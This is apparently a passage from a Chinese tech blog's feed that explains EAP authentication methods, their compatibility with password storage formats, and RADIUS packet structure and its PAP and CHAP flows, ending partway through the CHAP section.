&lt;p&gt;PEAP 由 Cisco Systems、Microsoft 和 RSA Security 联合开发。它有三个版本，分别是 PEAPv0、PEAPv1 和 PEAPv2，分别由 &lt;a href=&quot;https://tools.ietf.org/html/draft-kamath-pppext-peapv0-00&quot;&gt;draft-kamath-pppext-peapv0-00&lt;/a&gt;、&lt;a href=&quot;https://tools.ietf.org/html/draft-josefsson-pppext-eap-tls-eap-00&quot;&gt;draft-josefsson-pppext-eap-tls-eap-00&lt;/a&gt; &lt;a href=&quot;https://tools.ietf.org/html/draft-josefsson-pppext-eap-tls-eap-05&quot;&gt;draft-josefsson-pppext-eap-tls-eap-05&lt;/a&gt; 和 &lt;a href=&quot;https://tools.ietf.org/html/draft-josefsson-pppext-eap-tls-eap-06&quot;&gt;draft-josefsson-pppext-eap-tls-eap-06&lt;/a&gt; 定义。&lt;/p&gt;
&lt;p&gt;EAP 默认拥有安全的通信线路，如有物理安全保护的通信线路，因此未提供用于保护 EAP 对话的机制。但是广泛使用的无线局域网中是没有物理安全保护的，所以提出 Protected EAP 来改进这个缺陷。&lt;/p&gt;
&lt;p&gt;PEAP 在设计上和 EAP-TTLS 类似，只需要服务器端 PKI 证书，就能创建安全的 TLS 隧道来保护身份验证。&lt;/p&gt;
&lt;p&gt;PEAP 没有指定特定方法，它可以和多个 EAP 方法搭配使用。最普遍支持使用的是 PEAPv0/EAP-MSCHAPv2 和 PEAPv1/EAP-GTC。截至 2005 年 5 月，这两种 PEAP 子类型已经获得了 WPA/WPA2 标准的认证。&lt;/p&gt;
&lt;h3&gt;EAP-FAST&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EAP-FAST（EAP Flexible Authentication via Secure Tunneling）&lt;/strong&gt; 由 &lt;a href=&quot;https://tools.ietf.org/html/rfc4851&quot;&gt;RFC 4851&lt;/a&gt; 定义，由 Cisco Systems 提出，用于代替 LEAP，旨在解决 LEAP 的弱点，同时保留轻量。&lt;/p&gt;
&lt;p&gt;EAP-FAST 和 PEAP 类似，有两个主要阶段。第一阶段是建立一个安全的加密隧道，第二阶段是通过 MS-CHAPv2 来对客户端身份进行验证。由于 MS-CHAPv2 是一个相当脆弱的协议，通过字典攻击很容易被破解，因此第一阶段建立的安全加密隧道为 MS-CHAPv2 提供了一个安全的环境。&lt;/p&gt;
&lt;p&gt;EAP-FAST 与 PEAP 不同之处，在于建立安全隧道的方式：EAP-FAST 采用 PAC（受保护的访问凭据）来建立隧道，而 PEAP 则是采用服务器端的数字证书建立 TLS 隧道（与 HTTPS 的工作方式类似）。&lt;/p&gt;
&lt;p&gt;EAP-FAST 的验证服务器会为每个用户提供一个特殊的 PAC 文件，而配发这个 PAC 的过程可以被认作是阶段零，即自动提供。如果不使用 PAC 文件，则可以当作普通的 EAP-TLS 使用。&lt;/p&gt;
&lt;h3&gt;其它认证机制&lt;/h3&gt;
&lt;h4&gt;EAP-SIM&lt;/h4&gt;
&lt;p&gt;EAP-SIM（EAP Subscriber Identity Module）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc4186&quot;&gt;RFC 4186&lt;/a&gt; 定义，它通过全球移动通信系统（GSM）中的用户身份模块（SIM）进行身份验证和会话密钥分发。&lt;/p&gt;
&lt;p&gt;EAP-SIM 在客户端和 AAA 服务器之间使用 SIM 身份验证算法来提供互验证。&lt;/p&gt;
&lt;p&gt;在 EAP-SIM 中，SIM 卡与身份验证中心（AuC）之间的通信取代了客户端与 AAA 服务器之间需要预先建立密码的要求。&lt;/p&gt;
&lt;h4&gt;EAP-AKA&lt;/h4&gt;
&lt;p&gt;EAP-AKA（EAP Authentication and Key Agreement）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc4187&quot;&gt;RFC 4187&lt;/a&gt; 定义，它通过 USIM 进行身份验证和会话密钥分发。&lt;/p&gt;
&lt;h4&gt;EAP-AKA&apos;&lt;/h4&gt;
&lt;p&gt;EAP-AKA&apos;（EAP Authentication and Key Agreement prime）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc5448&quot;&gt;RFC 5448&lt;/a&gt; 定义，对 EAP-AKA 进行了以下两个主要修改：更新了密钥导出机制和防止降级攻击（Downgrade attack），即中间人可能操作认证过程，使双方在协商认证算法时使用安全程度较低的算法，如 EAP-AKA’ 降级为 EAP-AKA。&lt;/p&gt;
&lt;h4&gt;EAP-GTC&lt;/h4&gt;
&lt;p&gt;EAP-GTC（EAP Generic Token Card）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc2284&quot;&gt;RFC 2284&lt;/a&gt; 和 &lt;a href=&quot;https://tools.ietf.org/html/rfc3748&quot;&gt;RFC 3748&lt;/a&gt; 定义，用于代替 PEAPv0/EAP-MSCHAPv2。它通过使用来自身份验证服务器的文本质询和由安全令牌生成的回复来进行身份验证。&lt;/p&gt;
&lt;h4&gt;EAP-IKEv2&lt;/h4&gt;
&lt;p&gt;EAP-IKEv2（EAP Internet Key Exchange v. 2）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc5106&quot;&gt;RFC 5106&lt;/a&gt; 定义，原型实现为 &lt;a href=&quot;https://sourceforge.net/projects/eap-ikev2/&quot;&gt;EAP-IKEv2 Project
&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;EAP-IKEv2 是基于 &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_Key_Exchange&quot;&gt;Internet Key Exchange&lt;/a&gt; 的 EAP 方法，它提供 EAP 对等方和服务器之间的相互身份验证和会话密钥建立。&lt;/p&gt;
&lt;h4&gt;EAP-PWD&lt;/h4&gt;
&lt;p&gt;EAP-PWD（EAP Password）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc5931&quot;&gt;RFC 5931&lt;/a&gt; 定义，它是一种通过使用共享密码进行身份验证的 EAP 方法。该密码可以是低熵密码，并且可以从一组可能的密码中获取，如字典，攻击者可以使用该密码。底层的密钥交换可以抵抗主动攻击、被动攻击和字典攻击。&lt;/p&gt;
&lt;h4&gt;EAP-PSK&lt;/h4&gt;
&lt;p&gt;EAP-PSK（EAP Pre-Shared Key）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc4764&quot;&gt;RFC 4764&lt;/a&gt; 定义，它通过使用 &lt;a href=&quot;https://en.wikipedia.org/wiki/Pre-shared_key&quot;&gt;PSK&lt;/a&gt; 来进行相互身份验证和会话密钥派生。&lt;/p&gt;
&lt;p&gt;当互验证成功时，它为双方通信提供了一个受保护的线路，并设计用于通过不安全的网络（如 IEEE 802.11）进行认证。&lt;/p&gt;
&lt;h4&gt;EAP-EKE&lt;/h4&gt;
&lt;p&gt;EAP-EKE（EAP Encrypted Key Exchange）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc6124&quot;&gt;RFC 6124&lt;/a&gt; 定义，通过使用短密码来提供安全的互验证，而不需要公钥证书。&lt;/p&gt;
&lt;h4&gt;EAP-NOOB&lt;/h4&gt;
&lt;p&gt;EAP-NOOB（Nimble out-of-band authentication for EAP）由 &lt;a href=&quot;https://tools.ietf.org/html/draft-aura-eap-noob-08&quot;&gt;draft-aura-eap-noob-08&lt;/a&gt; 定义，是一种通用的自举解决方案，适用于没有预先配置身份验证凭据，且尚未在任何服务器上注册的设备。如没有任何所有者、网络或服务器信息的物联网（IoT）设备。&lt;/p&gt;
&lt;h4&gt;EAP-POTP&lt;/h4&gt;
&lt;p&gt;EAP-POTP（EAP Protected One-Time Password）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc4793&quot;&gt;RFC 4793&lt;/a&gt; 定义，是由 RSA Laboratories 使用一次性密码（OTP）令牌（如手持式硬件设备、硬件或软件模块）开发的 EAP 方法。&lt;/p&gt;
&lt;p&gt;EAP-POTP 在个人计算机上运行，​​以生成身份验证密钥。可用于在其它 EAP 方法中提供互验证和密钥材料。&lt;/p&gt;
&lt;p&gt;EAP-POTP 提供了双因素的用户身份验证，这意味着用户既需要对令牌进行物理访问，又需要知道 PIN 才能通过身份验证。&lt;/p&gt;
&lt;h4&gt;TEAP&lt;/h4&gt;
&lt;p&gt;TEAP（Tunnel Extensible Authentication Protocol）由 &lt;a href=&quot;https://tools.ietf.org/html/rfc7170&quot;&gt;RFC 7170&lt;/a&gt; 定义，是一种基于隧道的 EAP 方法，可通过使用 TLS 协议建立隧道，来实现对等方和服务器之间的安全通信。&lt;/p&gt;
&lt;p&gt;TEAP 在隧道内通过 TLV（Type-Length-Value）对象来传递与身份验证相关的数据。&lt;/p&gt;
&lt;p&gt;TEAP 允许通过发送特定格式的请求来向服务器询问证书和提供证书，还允许通过该格式将受信任的根证书分发给对等方。这两种操作都封装在相应的 TLV 中，并且以安全的方式在先前建立的 TLS 隧道内进行。&lt;/p&gt;
&lt;h2&gt;协议与密码兼容性&lt;/h2&gt;
&lt;p&gt;密码能够以多种形式存储在数据库中，如明文、MD5 散列、NT 散列或其他形式。&lt;/p&gt;
&lt;p&gt;在 EAP 和 RADIUS 中，你想使用的身份验证协议有时候和你的密码存储方式不兼容。&lt;/p&gt;
&lt;p&gt;身份验证协议和密码存储方式的兼容性如下表所示：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Clear-text&lt;/th&gt;
&lt;th&gt;NT hash&lt;/th&gt;
&lt;th&gt;MD5 hash&lt;/th&gt;
&lt;th&gt;Salted MD5 hash&lt;/th&gt;
&lt;th&gt;SHA1 hash&lt;/th&gt;
&lt;th&gt;Salted SHA1 hash&lt;/th&gt;
&lt;th&gt;Unix Crypt&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PAP&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CHAP&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digest&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MS-CHAP&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PEAP&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EAP-MSCHAPv2&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LEAP&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EAP-GTC&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EAP-MD5&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EAP-SIM&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EAP-TLS&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;如果对应的单元格为 yes，则表示相应的密码存储方式和协议兼容，并且可以进行身份​​验证。&lt;/p&gt;
&lt;p&gt;如果对应的单元格为 no，则表示相应的密码存储方式和协议不兼容，并且无法进行身份验证。解决方法是停止尝试使用该身份验证协议，或者以与该身份验证协议兼容的形式存储密码，也就是说让用户更改密码。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol&quot;&gt;Extensible Authentication Protocol - Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc3748&quot;&gt;RFC 3748 - Extensible Authentication Protocol (EAP)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.vocal.com/secure-communication/eap/&quot;&gt;EAP - Extensible Authentication Protocol&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.vocal.com/secure-communication/eapol-extensible-authentication-protocol-over-lan/&quot;&gt;EAPoL - Extensible Authentication Protocol over LAN&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://lishiwen4.github.io/wifi/EAP-method&quot;&gt;EAP 认证&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://deployingradius.com/documents/protocols/compatibility.html&quot;&gt;Deploying RADIUS: Protocol and Password Compatibility&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>RADIUS</category></item><item><title>RADIUS 详解</title><link>https://www.sulinehk.com/post/radius-details/</link><guid isPermaLink="true">https://www.sulinehk.com/post/radius-details/</guid><description>详细介绍了跟 RADIUS 有关的知识点。</description><pubDate>Thu, 24 Oct 2019 17:16:20 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;RADIUS，即远程用户拨入验证服务（Remote Authentication Dial In User Service）&lt;/strong&gt;，是应用最为广泛的 AAA 协议之一。&lt;/p&gt;
&lt;p&gt;而 AAA 是身份验证（Authentication）、授权（Authorization）和计费（Accounting）的简称，是进行访问控制的一种框架，可用多种协议来实现，其中最常见的一种就是 RADIUS。&lt;/p&gt;
&lt;p&gt;RADIUS 是一种 C/S 架构的协议，由 &lt;a href=&quot;https://tools.ietf.org/html/rfc2865&quot;&gt;RFC 2865&lt;/a&gt; 和 &lt;a href=&quot;https://tools.ietf.org/html/rfc2866&quot;&gt;RFC 2866&lt;/a&gt; 定义，最初的客户端为 NAS 服务器。&lt;/p&gt;
&lt;p&gt;实际上任何运行了 RADIUS 客户端软件（如 &lt;a href=&quot;https://freeradius.org/&quot;&gt;FreeRADIUS&lt;/a&gt;）的计算机都可以被看作是 RADIUS 的客户端。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;工作过程&lt;/h2&gt;
&lt;p&gt;RADIUS 的工作过程如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;使用文字来叙述则是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用户输入用户名和口令。&lt;/li&gt;
&lt;li&gt;RADIUS 客户端根据获取到的用户名和口令向 RADIUS 服务器发送认证请求包（Access-Request）。&lt;/li&gt;
&lt;li&gt;RADIUS 服务器对接收到的用户名和口令进行认证（如查询数据库），如果认证成功，则返回认证接受包（Access-Accept）；如果认证失败，则返回认证拒绝包（Access-Reject）；如果具体认证机制需要进行 Challenge，则返回认证挑战包（Access-Challenge）。&lt;/li&gt;
&lt;li&gt;RADIUS 客户端向 RADIUS 服务器发送计费开始请求包（Accounting-Request），该包中的 Acct-Status-Type 取值为 1，意为开始。&lt;/li&gt;
&lt;li&gt;RADIUS 服务器接收到计费开始请求包后返回计费开始响应包（Accounting-Response）。&lt;/li&gt;
&lt;li&gt;用户这时在给定的权限限制下访问资源。&lt;/li&gt;
&lt;li&gt;用户访问资源结束后，RADIUS 客户端向 RADIUS 服务器发送计费停止请求包（Accounting-Request），该包中的 Acct-Status-Type 取值为 2，意为停止。&lt;/li&gt;
&lt;li&gt;RADIUS 服务器接收到计费停止请求包后返回计费结束响应包（Accounting-Response）。&lt;/li&gt;
&lt;li&gt;RADIUS 客户端通知用户访问结束。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;包格式&lt;/h2&gt;
&lt;p&gt;RADIUS 的包格式如下：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;这些字段从左到右依次传输，即从 Code 开始到 AVPs 结束。&lt;/p&gt;
&lt;p&gt;所有 Code 分配如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Assignment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Access-Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Access-Accept&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Access-Reject&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Accounting-Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Accounting-Response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Access-Challenge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;Status-Server (experimental)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;Status-Client (experimental)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;Disconnect-Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;Disconnect-ACK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;Disconnect-NAK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;CoA-Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;CoA-ACK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;CoA-NAK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;255&lt;/td&gt;
&lt;td&gt;Reserved&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其中的属性值对（AVPs, Attribute value pairs）为一个个三元组，结构如下：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;部分 Type 分配如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;AVP type&lt;/th&gt;
&lt;th&gt;Assignment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;User-Name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;User-Password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;CHAP-Password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;NAS-IP-Address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;NAS-Port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Service-Type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Framed-Protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Framed-IP-Address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Framed-IP-Netmask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Framed-Routing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Filter-Id&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;Framed-MTU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;Framed-Compression&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Login-IP-Host&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Login-Service&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;Login-TCP-Port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其余分配见 &lt;a href=&quot;https://en.wikipedia.org/wiki/RADIUS#Attribute_value_pairs&quot;&gt;Attribute_value_pairs&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;其它细节&lt;/h2&gt;
&lt;p&gt;和其它 AAA 协议不同，RADIUS 协议合并了身份验证和授权的过程，即在身份验证响应报文中携带了授权信息。&lt;/p&gt;
&lt;p&gt;RADUIS 服务器和 NAS 服务器之间通过 UDP 协议进行通信，还规定了重传机制，并由 1812 端口负责认证，1813 端口负责计费。&lt;/p&gt;
&lt;p&gt;如果 NAS 向某个 RADIUS 服务器发起请求没有收到响应，那么可以要求备份 RADUIS 服务器重传。由于有多个备份 RADIUS 服务器，因此 NAS 可以采用轮询的方法。&lt;/p&gt;
&lt;p&gt;如果备份 RADIUS 服务器的密钥和以前的 RADIUS 服务器的密钥不同，则需要重新进行认证。&lt;/p&gt;
&lt;p&gt;RADIUS 还支持代理功能，即作为 RADIUS 代理服务器，只负责转发 RADIUS 数据包到其它 RADIUS 服务器。如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;认证机制&lt;/h2&gt;
&lt;p&gt;RADIUS 的认证机制可以采用 PAP、CHAP、MS-CHAP 等方法，而采用不同的方法，RADIUS 的具体工作过程也不相同。&lt;/p&gt;
&lt;h3&gt;PAP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;密码认证协议（PAP, Password Authentication Protocol）&lt;/strong&gt; 由 &lt;a href=&quot;https://tools.ietf.org/html/rfc1334&quot;&gt;RFC 1334&lt;/a&gt; 定义，是典型的二次握手简单认证协议，它是一种弱密码认证方法，其密码以 ASCII 格式在线路上进行传输，对于窃听和重放没有任何保护。&lt;/p&gt;
&lt;p&gt;在 PAP 中，只由 NAS 来验证 PC，即单向验证。所以 PAP 工作过程其实相当简单，首先由客户端发送认证请求（Authentication-Request），包含用户名和密码，然后由服务器来验证，如果凭据正确，服务器发送认证确认（Authentication-Ack），否则发送认证否定（Authentication-Nak）。&lt;/p&gt;
&lt;p&gt;具体工作细节如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PC &amp;lt;---&amp;gt; NAS：这部分的传输信息是否为明文由数据链路层上的协议来决定，如果在 PPP 协议上运行，则为明文；如果在 TTLS 协议上运行，则外层隧道是加密的，即使 PAP 使用的是明文密码，从隧道外来说仍然是加密的。&lt;/li&gt;
&lt;li&gt;NAS &amp;lt;---&amp;gt; AAA：NAS 将密码加密，放到 RADIUS 数据包中的 User-Password 属性中发送到 RADIUS 服务器，服务器收到认证请求后，使用和 NAS 预先共享的密钥加上数据包中的 Authenticator 属性进行解密，然后跟数据库中的密码进行对比来得到认证结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;具体包格式如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;1 byte&lt;/th&gt;
&lt;th&gt;1 byte&lt;/th&gt;
&lt;th&gt;2 bytes&lt;/th&gt;
&lt;th&gt;1 byte&lt;/th&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;1 byte&lt;/th&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Authentication-Request&lt;/td&gt;
&lt;td&gt;Code = 1&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Username length&lt;/td&gt;
&lt;td&gt;Username&lt;/td&gt;
&lt;td&gt;Password length&lt;/td&gt;
&lt;td&gt;Password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication-Ack&lt;/td&gt;
&lt;td&gt;Code = 2&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Message length&lt;/td&gt;
&lt;td&gt;Message&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication-Nak&lt;/td&gt;
&lt;td&gt;Code = 3&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Message length&lt;/td&gt;
&lt;td&gt;Message&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;并被嵌入到 PPP 协议的帧中，Protocol 的值为十六进制的 C023。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Protocol (C023 (hex))&lt;/th&gt;
&lt;th&gt;Payload (table above)&lt;/th&gt;
&lt;th&gt;FCS&lt;/th&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;h3&gt;CHAP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;询问握手认证协议（CHAP, Challenge-Handshake Authentication Protocol）&lt;/strong&gt; 由 &lt;a href=&quot;https://tools.ietf.org/html/rfc1994&quot;&gt;RFC 1994&lt;/a&gt; 定义，是一种三次握手协议。&lt;/p&gt;
&lt;p&gt;因为通过使用递增更改的 Packet Identifier 和可变的 Challenge value 来提供保护，所以防止了重放攻击，相对于 PAP 来说安全性高一些。&lt;/p&gt;
&lt;p&gt;在 CHAP 中，通过三次握手周期性的验证对端的身份，可在初始链路建立时进行，也可以在链路建立之后重复进行。&lt;/p&gt;
